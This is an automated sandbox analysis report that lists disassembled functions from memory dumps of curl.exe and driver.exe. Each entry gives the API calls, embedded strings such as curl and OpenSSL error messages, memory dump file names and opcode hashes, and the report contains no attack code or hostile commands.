EncodePointer.KERNEL32(00000000), ref: 002C3D4C

Strings

Pv6, xrefs: 002C3CAD

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Pointer$DecodeEncode
String ID: Pv6
API String ID: 3571222163-623033419
Opcode ID: 490ac48072eb2623c6e7581828617bd662730992875e1539c36632e0420be880
Instruction ID: df2f32c73c0a331384721b4f33428667498ac3197309f6f595f7c98779fa3ef7
Opcode Fuzzy Hash: 490ac48072eb2623c6e7581828617bd662730992875e1539c36632e0420be880
Instruction Fuzzy Hash: 87517B71E246069BCB15DF68D989FACBBB0BF05315F10CA1EE416B7250D7749E21CB90

Function 001FF2E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 0020C100: GetTickCount64.KERNEL32 ref: 0020C123
Part of subcall function 0020C100: GetTickCount64.KERNEL32 ref: 0020C17D

GetTickCount64.KERNEL32 ref: 001FF39C

Strings

select/poll error, xrefs: 001FF3DB
server response timeout, xrefs: 001FF414

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: select/poll error$server response timeout
API String ID: 1927824332-3916793193
Opcode ID: 151f581d3bcdc9ba60498919d97fd9229923613a17bbb658dd90f9e4059ac1ad
Instruction ID: 19e67573f82200e7581efc87ca5fd4f2a1d8982543dbc4d468fe64db31512499
Opcode Fuzzy Hash: 151f581d3bcdc9ba60498919d97fd9229923613a17bbb658dd90f9e4059ac1ad
Instruction Fuzzy Hash: 80412B7170420987DB289A24EC5167E73D9EF85315F14027EEA4AC7281FBA1DD07C291

Function 001F2D10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

select/poll error, xrefs: 001F2E28
server response timeout, xrefs: 001F2D53

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: select/poll error$server response timeout
API String ID: 1927824332-3916793193
Opcode ID: 3e2a90a8fb6acd3c1b20abf61cc24c5593d48eb8f72122b5295dd5a729bdb1d9
Instruction ID: 2cd2595e3db2ce1859707125d8d48d0611702d09606f35be970a10e34b92f8d1
Opcode Fuzzy Hash: 3e2a90a8fb6acd3c1b20abf61cc24c5593d48eb8f72122b5295dd5a729bdb1d9
Instruction Fuzzy Hash: 3F316D3270060A9BDB189A64DC52BBA7398AF55314F14023DEE1ADB6C2FB70ED55C3D2

Function 001E5650 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\ssl\ssl_lib.c, xrefs: 001E56A9
SSL read: %s, errno %d, xrefs: 001E5757

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\ssl\ssl_lib.c$SSL read: %s, errno %d
API String ID: 0-3945649146
Opcode ID: 54493e9ff7efd1fc53b1629362a1f5692d755e5c6fa9350fd9c6aac4f4e0a53a
Instruction ID: 6eaaf15dc57c8c0e53052202857e35ebf3746cd3f2c10ec9b8869372f7066754
Opcode Fuzzy Hash: 54493e9ff7efd1fc53b1629362a1f5692d755e5c6fa9350fd9c6aac4f4e0a53a
Instruction Fuzzy Hash: 30313431E10A80CBD724DF24DC41B9EB7E6AF48318F504619ED598B2C2DB719D65CB92

Function 001FC340 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001FC361

Part of subcall function 001CCFC0: GetTickCount64.KERNEL32 ref: 001CCFC1

Part of subcall function 001FBF20: GetTickCount64.KERNEL32 ref: 001FBF39

Strings

Preparing for accepting server on data port, xrefs: 001FC34E
Accept timeout occurred while waiting server connect, xrefs: 001FC383

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Accept timeout occurred while waiting server connect$Preparing for accepting server on data port
API String ID: 1927824332-3364268075
Opcode ID: fce35f8e109c9ae367b36e481b1d8c2b0ce46e5965eca704a389b2ef66083f72
Instruction ID: a3adaba87eaef183ada111abbec8aca525a5bff7c47ddee23cf75f272d24deed
Opcode Fuzzy Hash: fce35f8e109c9ae367b36e481b1d8c2b0ce46e5965eca704a389b2ef66083f72
Instruction Fuzzy Hash: B811023270520C06D72463797D826BE738AABE6395F08417BEA0CC2282FF609C0252E2

Function 00238100 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\mem_dbg.c, xrefs: 0023819B
..\..\openssl\openssl\crypto\mem_dbg.c, xrefs: 00238155

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\mem_dbg.c$..\..\openssl\openssl\crypto\mem_dbg.c
API String ID: 0-703416693
Opcode ID: 31cee26f0535b273970c3007ef7cd93debcc03fdaa77d2d0324ef349b24de250
Instruction ID: 4564f44fca6327b6e8f3689927ac2e2cc68d414c81032e55eaceddddb2fc83ff
Opcode Fuzzy Hash: 31cee26f0535b273970c3007ef7cd93debcc03fdaa77d2d0324ef349b24de250
Instruction Fuzzy Hash: 8811237476030357E716DF28DC81BA673A49B44700F488908F99C9B291EFF4C8A28791

Function 001CD4E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 002BFD90: RtlAllocateHeap.NTDLL(00D40000,00000000,00000001,00000001,?,?,?,002DA609,00000001,00000000), ref: 002BFDD3

SearchPathA.KERNEL32(00000000,curl-ca-bundle.crt,00000000,00000105,00000000,?), ref: 001CD529

Strings

t1, xrefs: 001CD4E1
curl-ca-bundle.crt, xrefs: 001CD522

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: AllocateHeapPathSearch
String ID: curl-ca-bundle.crt$t1
API String ID: 982834405-666658975
Opcode ID: 855747cea8679934f8ca0a4916a7199387128492f1d3a8f607706514018db02d
Instruction ID: 3ddee0bfb7160441eb903079fccec95efe39ed0451e8fb1e3e157f8d8e789194
Opcode Fuzzy Hash: 855747cea8679934f8ca0a4916a7199387128492f1d3a8f607706514018db02d
Instruction Fuzzy Hash: 6A01F5B27016012BE7149F29BC46FD77798DB91750F08003AFE09CA281EBA0D9118AA2

Function 002C5E6A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,002C5E07,002C260F,00307AE0,00000014), ref: 002C8FAA
DeleteCriticalSection.KERNEL32(w6,?,?,002C5E07,002C260F,00307AE0,00000014), ref: 002C8FD3

Strings

w6, xrefs: 002C8F95, 002C8FD1

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CriticalDeleteSection
String ID: w6
API String ID: 166494926-1274408500
Opcode ID: 35649fd4f3050c7dae1fa078318d91934c3a92070e6da1771c46f96a1ba6c90c
Instruction ID: 10526da7564f22591e1f715a90c350ba097ada442579a1c4bd0aeb5a13d50c51
Opcode Fuzzy Hash: 35649fd4f3050c7dae1fa078318d91934c3a92070e6da1771c46f96a1ba6c90c
Instruction Fuzzy Hash: A1F0A4325266129BC7355E19EC88B16B75A9B40333F65932FE166825A2CB348CA5CA50

Function 002CD537 Relevance: 5.1, APIs: 4, Instructions: 129COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002CD5CC
GetLastError.KERNEL32 ref: 002CD5DA
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00000000,00000000,?), ref: 002CD62D
MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002CD668

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: bb8332b3825ecdf79fbece3fccfcc2421c16ffcb60cbe765e78424f31ac0b5f1
Instruction ID: 9b2a193ae72260da3f37a092b93bebb1b15da1781bd6281935d778cceaa5f880
Opcode Fuzzy Hash: bb8332b3825ecdf79fbece3fccfcc2421c16ffcb60cbe765e78424f31ac0b5f1
Instruction Fuzzy Hash: C841D370A20246AFCB219F28EC44FAB7BACEF45354F21427DF85997191DB309D20CB61

Analysis Process: driver.exePID: 1904, Parent PID: 6028COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.4%
Total number of Nodes:	1691
Total number of Limit Nodes:	44

Executed Functions

Function 0040F8BC Relevance: 12.2, APIs: 8, Instructions: 245
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040C794: GetVersionExA.KERNEL32(?), ref: 0040C7B7

FindFirstFileW.KERNEL32(?,?,00451DB0,?,?), ref: 0040F923
GetLastError.KERNEL32(?,?,00451DB0,?,?), ref: 0040F92F
FindNextFileW.KERNEL32(?,?,00451DB0,?,?), ref: 0040F95C
GetLastError.KERNEL32(?,?,00451DB0,?,?), ref: 0040F968
FindFirstFileA.KERNEL32(?,?,00451DB0,?,?), ref: 0040FAFA
GetLastError.KERNEL32(?,?,00451DB0,?,?), ref: 0040FB06
FindNextFileA.KERNEL32(?,?,00451DB0,?,?), ref: 0040FB2E
GetLastError.KERNEL32(?,?,00451DB0,?,?), ref: 0040FB3A

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorFileFindLast$FirstNext$Version
String ID:
API String ID: 2293429440-0
Opcode ID: 723fbbdd2751e6d34a4293f44afff11feffcc900468bc5a3482cd193fd1769e9
Instruction ID: 52b7611e5ec98cd4e8f847a60386fd5f7313fa56db6dc6f272e3264e43f81109
Opcode Fuzzy Hash: 723fbbdd2751e6d34a4293f44afff11feffcc900468bc5a3482cd193fd1769e9
Instruction Fuzzy Hash: DAA176719002049BDB20DF25CCC1BD973B5BF84314F0886BADD5CAB68ADB785E898F65

Function 00431792 Relevance: 7.5, Strings: 5, Instructions: 1218COMMON

Download Yara Rule

Strings

$, xrefs: 004325B4
, xrefs: 0043254F
0, xrefs: 00432754
%s, xrefs: 0043207E, 00432171
%s%s , xrefs: 0043288E

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: $ %s$$$%s%s $0
API String ID: 0-4211349871
Opcode ID: 39237ddf5a2cb71dcf7381a4065181bc16901d63cad5d0c4144b47af8012f51f
Instruction ID: 409af18ab34a003e98142bf4d73f64a6336792d0cc8b563a1e01a480292ea48f
Opcode Fuzzy Hash: 39237ddf5a2cb71dcf7381a4065181bc16901d63cad5d0c4144b47af8012f51f
Instruction Fuzzy Hash: E4B28C709046445ADF25DB30C8847EFBBA1AF0D309F0854BFD84966293D7BC6A89CB6D

Function 0040FCD0 Relevance: 6.4, APIs: 4, Instructions: 374
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: a5f9371a0d0590c27636a78df57696108ff67bd0894c89672ee6c046a9a1075d
Instruction ID: d369e8df352a09d4515bd656809e2040cf191b4aed85b8f09b66e00501f64b7f
Opcode Fuzzy Hash: a5f9371a0d0590c27636a78df57696108ff67bd0894c89672ee6c046a9a1075d
